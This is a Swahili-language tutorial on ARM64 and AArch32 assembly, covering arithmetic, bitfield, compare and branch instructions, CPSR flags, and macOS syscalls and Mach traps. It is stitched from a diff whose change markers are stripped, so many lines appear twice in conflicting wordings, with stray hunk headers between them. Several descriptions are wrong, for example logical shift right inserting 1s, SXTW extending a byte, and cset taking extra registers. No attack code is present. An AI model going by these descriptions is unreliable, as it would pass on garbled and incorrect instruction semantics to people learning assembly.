* **`sub`**: **Punguza** thamani za rejista mbili na uhifadhi matokeo katika rejista.
* Angalia **`add`** **syntax**.
* Mfano: `sub x0, x1, x2` — Hii inapunguza thamani katika `x2` kutoka `x1` na kuhifadhi matokeo katika `x0`.
* **`subs`** Hii ni kama sub lakini ikisasisha bendera
* **`mul`**: **Zidisha** thamani za **daftari mbili** na uhifadhi matokeo katika daftari.
* **`mul`**: **Zidisha** thamani za **rejista mbili** na uhifadhi matokeo katika rejista.
* Mfano: `mul x0, x1, x2` — Hii inazidisha thamani katika `x1` na `x2` na kuhifadhi matokeo katika `x0`.
* **`div`**: **Gawanya** thamani ya daftari moja kwa nyingine na uhifadhi matokeo katika daftari.
* **`div`**: **Gawanya** thamani ya rejista moja kwa nyingine na uhifadhi matokeo katika rejista.
* Mfano: `div x0, x1, x2` — Hii inagawanya thamani katika `x1` kwa `x2` na kuhifadhi matokeo katika `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Geuza mantiki kushoto**: Ongeza 0 kutoka mwisho ukihamisha biti nyingine mbele (zidisha mara n kwa 2)
* **Geuza mantiki kulia**: Ongeza 1 mwanzoni ukihamisha biti nyingine nyuma (gawanya mara n kwa 2 kwa usajili)
* **Geuza mantiki kulia ya hisabati**: Kama **`lsr`**, lakini badala ya kuongeza 0 ikiwa biti muhimu zaidi ni 1, \*\*1s zinaongezwa (\*\*gawanya mara n kwa 2 kwa ishara)
* **Geuza kulia**: Kama **`lsr`** lakini chochote kinachotolewa kulia kinawekwa kushoto
* **Geuza Kulia na Panua**: Kama **`ror`**, lakini na bendera ya kubeba kama "biti muhimu zaidi". Kwa hivyo bendera ya kubeba inahamishiwa kwa biti ya 31 na biti iliyotolewa kwa bendera ya kubeba.
* **`bfm`**: **Harakisha Biti**, hizi operesheni **nakili biti `0...n`** kutoka kwa thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inabainisha **nafasi ya biti ya kushoto** na **`#r`** kiasi cha **geuza kulia**.
* **Mbadala wa kushoto la mantiki**: Ongeza 0 kutoka mwisho ukihamisha biti nyingine mbele (zidisha mara n kwa 2)
* **Mbadala wa kulia la mantiki**: Ongeza 1 mwanzoni ukihamisha biti nyingine nyuma (gawa mara n kwa 2 kwa nambari zisizo na saini)
* **Mbadala wa kulia wa hisabati**: Kama **`lsr`**, lakini badala ya kuongeza 0 ikiwa biti muhimu zaidi ni 1, \*\*1s zinaongezwa (\*\*gawa mara n kwa 2 kwa nambari zenye saini)
* **Zungusha kulia**: Kama **`lsr`** lakini chochote kinachotolewa kulia kinawekwa kushoto
* **Zungusha Kulia na Panua**: Kama **`ror`**, lakini na bendera ya kubeba kama "biti muhimu zaidi". Kwa hivyo bendera ya kubeba inahamishiwa kwa biti ya 31 na biti iliyotolewa kwa bendera ya kubeba.
* **`bfm`**: **Harakisha Biti**, hizi ni operesheni **nakili biti `0...n`** kutoka kwa thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inabainisha nafasi ya **biti ya kushoto** na **`#r`** kiasi cha **zungusha kulia**.
* Harakisha biti: `BFM Xd, Xn, #r`
* Harakisha biti iliyosainiwa: `SBFM Xd, Xn, #r, #s`
* Harakisha biti isiyosainiwa: `UBFM Xd, Xn, #r, #s`
* **Toa na Ingiza Harakisha Biti:** Nakili uga wa biti kutoka kwa daftari na uziweke kwenye daftari lingine.
* Harakisha biti yenye saini: `SBFM Xd, Xn, #r, #s`
* Harakisha biti isiyo na saini: `UBFM Xd, Xn, #r, #s`
* **Toa na Ingiza Harakisha Biti:** Nakili uga wa biti kutoka kwa rejista na uziweke katika rejista nyingine.
* **`BFI X1, X2, #3, #4`** Ingiza biti 4 kutoka X2 kutoka biti ya 3 ya X1
* **`BFXIL X1, X2, #3, #4`** Toa kutoka biti ya 3 ya X2 biti nne na uziweke kwa X1
* **`SBFIZ X1, X2, #3, #4`** Panua biti 4 kutoka X2 na uziweke kwa X1 kuanzia nafasi ya biti 3 ukiweka biti sahihi
* **`SBFX X1, X2, #3, #4`** Toa biti 4 kuanzia biti 3 kutoka X2, panua sahihi, na weka matokeo kwa X1
* **`SBFX X1, X2, #3, #4`** Toa biti 4 ukiwaanza na biti 3 kutoka X2, panua biti sahihi, na weka matokeo kwa X1
* **`UBFIZ X1, X2, #3, #4`** Panua biti 4 kutoka X2 na uziweke kwa X1 kuanzia nafasi ya biti 3 ukiweka biti sahihi
* **`UBFX X1, X2, #3, #4`** Toa biti 4 kuanzia biti 3 kutoka X2 na weka matokeo yaliyozidishwa na sifuri kwa X1.
* **Panua Ishara Kwenda X:** Panua ishara (au ongeza tu 0s katika toleo lisilo na ishara) ya thamani ili kuweza kufanya operesheni nayo:
* **`SXTB X1, W2`** Panua ishara ya baiti **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kujaza 64bits
* **`SXTH X1, W2`** Panua ishara ya nambari ya 16biti **kutoka W2 hadi X1** ili kujaza 64bits
* **`SXTW X1, W2`** Panua ishara ya baiti **kutoka W2 hadi X1** ili kujaza 64bits
* **`UXTB X1, W2`** Ongeza 0s (bila ishara) kwa baiti **kutoka W2 hadi X1** ili kujaza 64bits
* **`extr`:** Toa biti kutoka kwa **jozi ya daftari zilizounganishwa**.
* Mfano: `EXTR W3, W2, W1, #3` Hii ita **unganisha W1+W2** na pata **kutoka biti ya 3 ya W2 hadi biti ya 3 ya W1** na uhifadhi kwa W3.
* **`cmp`**: **Hakiki** daftari mbili na weka bendera za hali. Ni **jina mbadala la `subs`** ikisawazisha daftari la marudio na daftari la sifuri. Inafaa kujua ikiwa `m == n`.
* Inaunga mkono **sintaksia sawa na `subs`**
* **`UBFX X1, X2, #3, #4`** Toa biti 4 ukiwaanza na biti 3 kutoka X2 na weka matokeo yaliyozidishwa na sifuri kwa X1.
* **Panua Saini Kwenda X:** Panua saini (au ongeza tu 0s katika toleo lisilo na saini) ya thamani ili kuweza kufanya operesheni nayo:
* **`SXTB X1, W2`** Panua saini ya baiti **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kujaza biti 64
* **`SXTH X1, W2`** Panua saini ya nambari ya 16biti **kutoka W2 hadi X1** ili kujaza biti 64
* **`SXTW X1, W2`** Panua saini ya baiti **kutoka W2 hadi X1** ili kujaza biti 64
* **`UXTB X1, W2`** Ongeza 0s (bila saini) kwa baiti **kutoka W2 hadi X1** ili kujaza biti 64
* **`extr`:** Toa biti kutoka kwa **jozi ya rejista zilizounganishwa**.
* Mfano: `EXTR W3, W2, W1, #3` Hii ita **unganisha W1+W2** na pata **kutoka biti 3 ya W2 hadi biti 3 ya W1** na uhifadhi kwa W3.
* **`cmp`**: **Hakiki** rejista mbili na weka bendera za hali. Ni **jina mbadala la `subs`** ikisawazisha rejista ya marudio na rejista sifuri. Inafaa kujua ikiwa `m == n`.
* Inaunga mkono **syntax sawa na `subs`**
* Mfano: `cmp x0, x1` — Hii inahakiki thamani katika `x0` na `x1` na kuweka bendera za hali kulingana.
* **`cmn`**: **Hakiki hasi** ya operesheni. Katika kesi hii ni **jina mbadala la `adds`** na inaunga mkono sintaksia sawa. Inafaa kujua ikiwa `m == -n`.
* **`cmn`**: **Hakiki hasi** ya operandi. Katika kesi hii ni **jina mbadala la `adds`** na inaunga mkono syntax sawa. Inafaa kujua ikiwa `m == -n`.
* **`ccmp`**: Hakiki ya masharti, ni hakiki ambayo itafanywa tu ikiwa hakiki ya awali ilikuwa kweli na itaweka wazi hasa biti za nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka kwenye func
* Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa hivyo biti za `nzcv` zitawekwa kwa 0 (ambayo haitakidhi hakiki ya `blt`).
* Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa hivyo, biti za `nzcv` zitawekwa kama 0 (ambayo haitakidhi hakiki ya `blt`).
* Hii inaweza pia kutumika kama `ccmn` (sawa lakini hasi, kama `cmp` vs `cmn`).
* **`tst`**: Inachunguza ikiwa thamani yoyote ya hakiki ni 1 (inafanya kazi kama na ANDS bila kuhifadhi matokeo mahali popote). Ni muhimu kuchunguza daftari na thamani na kuchunguza ikiwa biti yoyote ya daftari iliyotajwa katika thamani ni 1.
* **`tst`**: Inachunguza ikiwa thamani za hakiki zote ni 1 (inafanya kazi kama na ANDS bila kuhifadhi matokeo mahali popote). Ni muhimu kuchunguza rejista na thamani na kuchunguza ikiwa biti yoyote ya rejista iliyotajwa katika thamani ni 1.
* Mfano: `tst X1, #7` Hakiki ikiwa biti za mwisho 3 za X1 ni 1
* **`teq`**: Operesheni ya XOR ikipuuza matokeo
* **`b`**: Ruka bila kizuizi
* **`teq`**: Operesheni ya XOR ikikataa matokeo
* **`b`**: Tawi lisilo na masharti
* Mfano: `b myFunction`&#x20;
* Tafadhali elewa kuwa hii haitajaza daftari la kiungo na anwani ya kurudi (haifai kwa wito wa subrutine ambao unahitaji kurudi nyuma)
* **`bl`**: **Ruka** na kiungo, hutumiwa kwa **kuita** subrutine. Huhifadhi **anwani ya kurudi katika `x30`**.
* Mfano: `bl myFunction` — Hii inaita kazi `myFunction` na kuhifadhi anwani ya kurudi katika `x30`.
* Tafadhali elewa kuwa hii haitajaza daftari la kiungo na anwani ya kurudi (haifai kwa wito wa subrutine ambao unahitaji kurudi nyuma)
* **`blr`**: **Ruka** na Kiungo kwenda Daftari, hutumiwa kwa **kuita** subrutine ambapo lengo limetajwa katika daftari. Huhifadhi anwani ya kurudi katika `x30`. (Hii ni&#x20;
* Mfano: `blr x1` — Hii inaita kazi ambayo anwani yake iko katika `x1` na kuhifadhi anwani ya kurudi katika `x30`.
* Tafadhali kumbuka hii haitajaza rejista ya kiungo na anwani ya kurudi (haifai kwa wito wa subrutine ambao unahitaji kurudi nyuma)
* **`bl`**: **Tawi** na kiungo, hutumiwa kwa **kuita** **subrutine**. Huhifadhi **anwani ya kurudi kwa `x30`**.
* Mfano: `bl myFunction` — Hii inaita kazi `myFunction` na kuhifadhi anwani ya kurudi kwa `x30`.
* Tafadhali kumbuka hii haitajaza rejista ya kiungo na anwani ya kurudi (haifai kwa wito wa subrutine ambao unahitaji kurudi nyuma)
* **`blr`**: **Tawi** na Kiungo kwa Rejista, hutumiwa kwa **kuita** **subrutine** ambapo lengo limetajwa katika **rejista**. Huhifadhi anwani ya kurudi kwa `x30`. (Hii ni&#x20;
* Mfano: `blr x1` — Hii inaita kazi ambayo anwani yake iko katika `x1` na kuhifadhi anwani ya kurudi kwa `x30`.
* **`ret`**: **Rudi** kutoka kwa **subrutine**, kawaida kwa kutumia anwani katika **`x30`**.
* Mfano: `ret` — Hii inarudi kutoka kwa subrutine ya sasa kwa kutumia anwani ya kurudi katika `x30`.
* **`b.<hali>`**: Rukia za Masharti
* **`b.eq`**: **Ruka ikiwa sawa**, kulingana na hakiki ya awali ya `cmp`.
* Mfano: `b.eq lebo` — Ikiwa hakiki ya awali ya `cmp` ilipata thamani mbili sawa, hii inaruka kwa `lebo`.
* Mfano: `ret` — Hii inarudi kutoka kwa subrutine ya sasa ikitumia anwani ya kurudi katika `x30`.
* **`b.<cond>`**: Matawi ya masharti
* **`b.eq`**: **Tawi ikiwa sawa**, kulingana na hakiki ya awali ya `cmp`.
* Mfano: `b.eq label` — Ikiwa hakiki ya awali ya `cmp` ilipata thamani mbili sawa, hii itaruka kwenye `label`.
* **`b.ne`**: **Branch if Not Equal**. Maelekezo haya yanachunguza bendera za hali (ambazo ziliwekwa na maelekezo ya kulinganisha hapo awali), na ikiwa thamani zilizolinganishwa hazikuwa sawa, inaruka kwenye lebo au anwani.
* Mfano: Baada ya maelekezo ya `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka kwenye `label`.
* **`cbz`**: **Compare and Branch on Zero**. Maelekezo haya yanalinganisha daftari na sifuri, na ikiwa zinafanana, inaruka kwenye lebo au anwani.
* **`cbz`**: **Compare and Branch on Zero**. Maelekezo haya yanalinganisha kisajili na sifuri, na ikiwa wana sawa, inaruka kwenye lebo au anwani.
* Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka kwenye `label`.
* **`cbnz`**: **Compare and Branch on Non-Zero**. Maelekezo haya yanalinganisha daftari na sifuri, na ikiwa hazifanani, inaruka kwenye lebo au anwani.
* **`cbnz`**: **Compare and Branch on Non-Zero**. Maelekezo haya yanalinganisha kisajili na sifuri, na ikiwa hawako sawa, inaruka kwenye lebo au anwani.
* Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` si sifuri, hii inaruka kwenye `label`.
* **`tbnz`**: Angalia biti na ruka kwenye si-sifuri
* Mfano: `tbnz x0, #8, label`
@ -220,24 +220,24 @@ Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo
* `cneg Xd, Xn, cond` -> Ikiwa ni kweli, Xd = - Xn, ikiwa ni uongo, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = 1, ikiwa ni uongo, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = \<all 1>, ikiwa ni uongo, Xd = 0
* **`adrp`**: Hesabu **anwani ya ukurasa wa ishara** na uhifadhi katika daftari.
* Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa wa `ishara` na kuihifadhi katika `x0`.
* **`ldrsw`**: **Pakia** thamani ya **32-bit** iliyosainiwa kutoka kumbukumbu na **ongeza ishara hadi 64** biti.
* Mfano: `ldrsw x0, [x1]` — Hii inapakia thamani iliyosainiwa ya biti 32 kutoka kwenye eneo la kumbukumbu inayoelekezwa na `x1`, inaongeza ishara hadi biti 64, na kuihifadhi katika `x0`.
* **`stur`**: **Hifadhi thamani ya daftari kwenye eneo la kumbukumbu**, ukitumia mbadala kutoka daftari lingine.
* Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni byte 4 zaidi ya anwani iliyopo katika `x1`.
* **`svc`** : Fanya **wito wa mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza maelekezo haya, inabadilisha kutoka hali ya mtumiaji hadi hali ya msingi na inaruka kwenye eneo maalum kwenye kumbukumbu ambapo **mifumo ya msingi ya mfumo** iko.
* **`adrp`**: Hesabu **anwani ya ukurasa wa ishara** na iihifadhi kwenye kisajili.
* Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa wa `ishara` na kuuhifadhi kwenye `x0`.
* **`ldrsw`**: **Pakia** thamani ya **32-bit** iliyosainiwa kutoka kumbukumbu na **kuieneza hadi 64** biti.
* Mfano: `ldrsw x0, [x1]` — Hii inapakia thamani iliyosainiwa ya biti 32 kutoka kwenye eneo la kumbukumbu linaloelekezwa na `x1`, inaeneza hadi biti 64, na kuuhifadhi kwenye `x0`.
* **`stur`**: **Hifadhi thamani ya kisajili kwenye eneo la kumbukumbu**, ikitumia mbadala kutoka kwa kisajili kingine.
* Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni byte 4 zaidi ya anwani iliyopo kwenye `x1`.
* **`svc`** : Fanya **wito wa mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza maelekezo haya, inabadilisha kutoka hali ya mtumiaji hadi hali ya msingi na inaruka kwenye eneo maalum kwenye kumbukumbu ambapo **msimamizi wa mfumo wa kernel** uko.
* Mfano:
```armasm
mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa ajili ya kutoka (93) kwenye daftari x8.
mov x0, 0 ; Pakia nambari ya hali ya kutoka (0) kwenye daftari x0.
mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa ajili ya kutoka (93) kwenye kisajili x8.
mov x0, 0 ; Pakia nambari ya hali ya kutoka (0) kwenye kisajili x0.
svc 0 ; Fanya wito wa mfumo.
```
### **Prologi ya Kazi**
1. **Hifadhi daftari la kiungo na kielekezi cha fremu kwenye stakisho**:
1. **Hifadhi kiungo cha usajili na kielekezi cha fremu kwenye steki**:
{% code overflow="wrap" %}
```armasm
@ -245,13 +245,13 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
```
{% endcode %}
2. **Wekeza pointer mpya wa fremu**: `mov x29, sp` (inaweka pointer mpya wa fremu kwa kazi ya sasa)
2. **Wekeza kidole cha fremu kipya**: `mov x29, sp` (inaweka kidole cha fremu kipya kwa kazi ya sasa)
3. **Tenga nafasi kwenye steki kwa mizani ya ndani** (ikiwa inahitajika): `sub sp, sp, <size>` (ambapo `<size>` ni idadi ya baiti inayohitajika)
### **Epilogo ya Kazi**
1. **Futa mizani ya ndani (ikiwa ilikuwa imehifadhiwa)**: `add sp, sp, <size>`
2. **Rejesha usajili wa kiungo na pointer wa fremu**:
1. **Futa mizani ya ndani (ikiwa ilikuwa imetengwa)**: `add sp, sp, <size>`
2. **Rejesha daftari la kiungo na kidole cha fremu**:
{% code overflow="wrap" %}
```armasm
@ -261,14 +261,14 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
3. **Kurudi**: `ret` (inarejesha udhibiti kwa mtu aliyetoa wito kwa kutumia anwani kwenye daftari la viungo)
## Hali ya Utekelezaji wa AARCH32
## Hali ya Utekelezaji ya AARCH32
Armv8-A inasaidia utekelezaji wa programu za biti 32. **AArch32** inaweza kukimbia katika moja ya **seti mbili za maagizo**: **`A32`** na **`T32`** na inaweza kubadilisha kati yao kupitia **`interworking`**.\
Programu za biti 64 **zenye haki** zinaweza kupanga **utekelezaji wa programu za biti 32** kwa kutekeleza uhamisho wa kiwango cha kipekee kwenda kwa biti 32 zenye haki za chini.\
Tambua kwamba mpito kutoka biti 64 kwenda biti 32 hufanyika na kiwango cha chini cha kipekee (kwa mfano programu ya biti 64 katika EL1 ikichochea programu katika EL0). Hii hufanywa kwa kuweka **biti 4 ya** daftari maalum la **`SPSR_ELx`** **kuwa 1** wakati mchakato wa wateja wa `AArch32` uko tayari kutekelezwa na sehemu iliyobaki ya `SPSR_ELx` inahifadhi mipango ya **CPSR ya AArch32**. Kisha, mchakato wenye haki huita maagizo ya **`ERET`** ili mchakato ibadilike kwenda kwa **`AArch32`** kuingia katika A32 au T32 kulingana na CPSR\*\*.\*\*
Tambua kwamba mpito kutoka biti 64 kwenda biti 32 hufanyika na kiwango cha kipekee cha chini (kwa mfano programu ya biti 64 katika EL1 ikichochea programu katika EL0). Hii hufanywa kwa kuweka **biti 4 ya** daftari maalum la usajili wa **`SPSR_ELx`** kuwa 1 wakati mchakato wa watumiaji wa `AArch32` uko tayari kutekelezwa na sehemu iliyobaki ya `SPSR_ELx` inahifadhi mipango ya **CPSR ya `AArch32`**. Kisha, mchakato wenye haki huita maagizo ya **`ERET`** ili mchakato ubadilike kwenda kwa **`AArch32`** ukiingia katika A32 au T32 kulingana na CPSR\*\*.\*\*
**`Interworking`** hufanyika kwa kutumia biti za J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **biti ya chini kuwa 1** kuashiria seti ya maagizo ni T32.\
Hii inawekwa wakati wa **maagizo ya matawi ya interworking,** lakini inaweza pia kuwekwa moja kwa moja na maagizo mengine wakati PC inawekwa kama daftari la marudio. Mfano:
Hii inawekwa wakati wa **maagizo ya matawi ya interworking,** lakini pia inaweza kuwekwa moja kwa moja na maagizo mengine wakati PC inawekwa kama usajili wa marudio. Mfano:
Mfano mwingine:
```armasm
@ -285,14 +285,14 @@ mov r0, #8
Kuna rejista 16 za biti 32 (r0-r15). **Kutoka r0 hadi r14** wanaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao kawaida huwa zimehifadhiwa:
- **`r15`**: Counter ya programu (daima). Ina anwani ya maagizo yanayofuata. Katika A32 sasa + 8, katika T32, sasa + 4.
- **`r15`**: Programu ya kuhesabu (daima). Ina anwani ya maagizo yanayofuata. Katika A32 sasa + 8, katika T32, sasa + 4.
- **`r11`**: Kiashiria cha fremu
- **`r12`**: Rejista ya wito wa ndani wa utaratibu
- **`r13`**: Kiashiria cha steku
- **`r13`**: Kiashiria cha steki
- **`r14`**: Kiashiria cha kiungo
Zaidi ya hayo, rejista zinahifadhiwa katika **`rejista zilizohifadhiwa`**. Ambazo ni sehemu zinazohifadhi thamani za rejista kuruhusu kufanya **mabadiliko ya muktadha haraka** katika kushughulikia kwa kipekee na operesheni za haki ili kuepuka haja ya kuhifadhi na kurejesha rejista kila wakati.\
Hii hufanywa kwa **kuihifadhi hali ya mchakato kutoka kwa `CPSR` hadi `SPSR`** ya hali ya mchakato ambayo kipekee inachukuliwa. Wakati wa kurudi kutoka kwa kipekee, **`CPSR`** inarejeshwa kutoka **`SPSR`**.
Zaidi ya hayo, rejista zinahifadhiwa katika **`rejista zilizohifadhiwa`**. Ambazo ni sehemu zinazohifadhi thamani za rejista kuruhusu kufanya **mabadiliko ya muktadha haraka** katika kushughulikia kipekee na operesheni za haki ili kuepuka haja ya kuhifadhi na kurejesha rejista kila wakati.\
Hii hufanywa kwa **kuihifadhi hali ya mchakato kutoka kwa `CPSR` hadi `SPSR`** ya hali ya mchakato ambayo kipekee inachukuliwa. Wakati wa kurudi kutoka kwa kipekee, **`CPSR`** inarejeshwa kutoka kwa **`SPSR`**.
### CPSR - Rejista ya Hali ya Programu ya Sasa
@ -300,18 +300,18 @@ Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahif
<figure><img src="../../../.gitbook/assets/image (1194).png" alt=""><figcaption></figcaption></figure>
Sehemu zimegawanywa katika vikundi kadhaa:
Vipengele vimegawanywa katika vikundi kadhaa:
- Rejista ya Hali ya Programu ya Maombi (APSR): Alama za hesabu na inaweza kufikiwa kutoka EL0
- Rejista ya Hali ya Programu ya Maombi (APSR): Alama za hisabati na inayoweza kufikiwa kutoka EL0
- Rejista za Hali ya Utekelezaji: Tabia ya mchakato (inasimamiwa na OS).
#### Rejista ya Hali ya Programu ya Maombi (APSR)
- Alama za **`N`**, **`Z`**, **`C`**, **`V`** (sawa na AArch64)
- Alama ya **`Q`**: Inawekwa kuwa 1 wakati **saturation ya nambari** inatokea wakati wa utekelezaji wa maagizo maalum ya hesabu ya kujaza. Mara tu inapowekwa kuwa **`1`**, itabaki na thamani hiyo mpaka iwekwe kwa mkono kuwa 0. Zaidi ya hayo, hakuna maagizo yoyote yanayochunguza thamani yake kwa kawaida, lazima ifanywe kusoma kwa mkono.
- **`GE`** (Kubwa au sawa) Alama: Hutumiwa katika operesheni za SIMD (Maagizo Moja, Data Nyingi) kama vile "kuongeza wima" na "kupunguza wima". Operesheni hizi huruhusu kusindika pointi nyingi za data katika maagizo moja.
- Alama za **`N`**, **`Z`**, **`C`**, **`V`** (kama katika AArch64)
- Alama ya **`Q`**: Inawekwa kuwa 1 wakati wowote **kuna utoshelevu wa nambari** wakati wa utekelezaji wa maagizo maalum ya hisabati ya utoshelevu. Mara tu inapowekwa kuwa **`1`**, itabaki na thamani hiyo mpaka iwekwe kwa mkono kuwa 0. Zaidi ya hayo, hakuna maagizo yoyote yanayochunguza thamani yake kwa kawaida, lazima ifanywe kusoma kwa mkono.
- **`GE`** (Kubwa au sawa) Alama: Hutumiwa katika operesheni za SIMD (Maagizo Moja, Data Nyingi) kama "kuongeza kwa pamoja" na "kutoa kwa pamoja". Operesheni hizi huruhusu kusindika pointi nyingi za data katika maagizo moja.
Kwa mfano, maagizo ya **`UADD8`** **ya kuongeza jozi nne za bayti** (kutoka kwa waendeshaji wawili wa biti 32) kwa wima na kuhifadhi matokeo katika rejista ya biti 32. Kisha **inaweka alama za `GE` katika `APSR`** kulingana na matokeo haya. Kila alama ya GE inalingana na moja ya kuongeza bayti, ikionyesha ikiwa kuongeza kwa jozi hiyo ya bayti **kulivuja**.
Kwa mfano, maagizo ya **`UADD8`** **ya kuongeza jozi nne za herufi** (kutoka kwa waendeshaji wawili wa biti 32) kwa pamoja na kuhifadhi matokeo katika rejista ya biti 32. Kisha **inaweka alama za `GE` katika `APSR`** kulingana na matokeo haya. Kila alama ya GE inalingana na moja ya kuongeza herufi, ikionyesha ikiwa kuongeza kwa jozi hiyo ya herufi **kumetoka nje**.
Maagizo ya **`SEL`** hutumia alama hizi za GE kutekeleza hatua za masharti.
@ -319,12 +319,12 @@ Maagizo ya **`SEL`** hutumia alama hizi za GE kutekeleza hatua za masharti.
- Vipande vya **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya maagizo ya A32 hutumiwa, na ikiwa ni 1, T32 hutumiwa.
- Rejista ya Hali ya Bloki ya IT (`ITSTATE`): Hizi ni vipande kutoka 10-15 na 25-26. Huhifadhi masharti ya maagizo ndani ya kikundi kilicho na kipimo cha **`IT`**.
- Biti ya **`E`**: Inaonyesha **endianness**.
- **Vipande vya Hali na Kizuizi cha Kipekee** (0-4): Vinabainisha hali ya sasa ya utekelezaji. Ya tano inaonyesha ikiwa programu inaendeshwa kama biti 32 (1) au biti 64 (0). Zingine 4 zinaonyesha **hali ya kipekee inayotumiwa kwa sasa** (wakati kipekee inatokea na inashughulikiwa). Nambari iliyowekwa inaonyesha kipaumbele cha sasa ikiwa kipekee nyingine itaanzishwa wakati huu inashughulikiwa.
- Biti ya **`E`**: Inaonyesha **umaliziaji**.
- **Vipande vya Hali na Kizuizi cha Kipekee** (0-4): Vinabainisha hali ya sasa ya utekelezaji. Cha **5** kinaonyesha ikiwa programu inaendeshwa kama biti 32 (1) au biti 64 (0). Vingine 4 vinawakilisha **hali ya kipekee inayotumiwa kwa sasa** (wakati kipekee kinatokea na kinashughulikiwa). Nambari iliyowekwa inaonyesha **kipaumbele cha sasa** ikiwa kipekee nyingine itaanzishwa wakati huu unashughulikiwa.
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Baadhi ya kipekee zinaweza kuzimwa kwa kutumia vipande **`A`**, `I`, `F`. Ikiwa **`A`** ni 1 inamaanisha **kuzimwa kwa kiholela** kutafanyika. **`I`** inaconfigure kujibu kwa vifaa vya nje vya **Ombi la Kuingilia** (IRQs). na F inahusiana na **Ombi la Kuingilia Haraka** (FIRs).
- **`AIF`**: Baadhi ya kipekee zinaweza kuzimwa kwa kutumia vipande **`A`**, `I`, `F`. Ikiwa **`A`** ni 1 inamaanisha **kuzimwa kwa kushtukiza** kutafanyika. **`I`** inaconfigure kujibu kwa vifaa vya nje vya **Ombi la Kushtukiza la Kuingilia** (IRQs). na F inahusiana na **Ombi za Kuingilia Kwa Haraka** (FIRs).
## macOS
@ -334,9 +334,9 @@ Angalia [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3
### Mach Traps
Angalia katika [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` na katika [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) mifano. Idadi ya juu ya Mach traps ni `MACH_TRAP_TABLE_COUNT` = 128. Mach traps zitakuwa na **x16 < 0**, hivyo unahitaji kuita nambari kutoka kwa orodha ya awali na **hasi**: **`_kernelrpc_mach_vm_allocate_trap`** ni **`-10`.
Angalia katika [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` na katika [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) mifano. Idadi ya juu ya Mach traps ni `MACH_TRAP_TABLE_COUNT` = 128. Mach traps zitakuwa na **x16 < 0**, hivyo unahitaji kuita nambari kutoka kwa orodha ya awali kwa kuchukua **hasi**: **`_kernelrpc_mach_vm_allocate_trap`** ni **`-10`**.
Unaweza pia kuangalia **`libsystem_kernel.dylib`** katika disassembler ili kujua jinsi ya kuita hizi (na BSD) syscalls:
Unaweza pia kuangalia **`libsystem_kernel.dylib`** katika disassembler kupata jinsi ya kuita hizi (na BSD) syscalls:
{% code overflow="wrap" %}
```bash
@ -349,12 +349,12 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
{% endcode %}
{% hint style="success" %}
Maranyingi ni rahisi kuangalia **msimbo uliopanguliwa** kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **msimbo wa chanzo** kwa sababu msimbo wa wito wa mfumo (syscalls) kadhaa (BSD na Mach) unazalishwa kupitia hati (angalia maoni katika msimbo wa chanzo) wakati katika dylib unaweza kupata ni nini kinachoitwa.
Maranyingi ni rahisi kuangalia **msimbo uliopanguliwa** kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **msimbo wa chanzo** kwa sababu msimbo wa wito wa mfumo (syscalls) kadhaa (BSD na Mach) unazalishwa kupitia hati (angalia maoni katika msimbo wa chanzo) wakati katika dylib unaweza kupata nini kinachoitwa.
{% endhint %}
### machdep calls
XNU inasaidia aina nyingine ya wito unaoitwa tegemezi wa mashine. Idadi ya wito hawa inategemea usanifu na wala wito au idadi haihakikishi kubaki thabiti.
XNU inasaidia aina nyingine ya wito unaoitwa tegemezi la mashine. Idadi ya wito hawa inategemea usanifu na wala wito au idadi haihakikishi kubaki thabiti.
### ukurasa wa comm
@ -369,10 +369,10 @@ Ni kawaida sana kupata kazi hii ikitumiwa katika programu za Objective-C au Swif
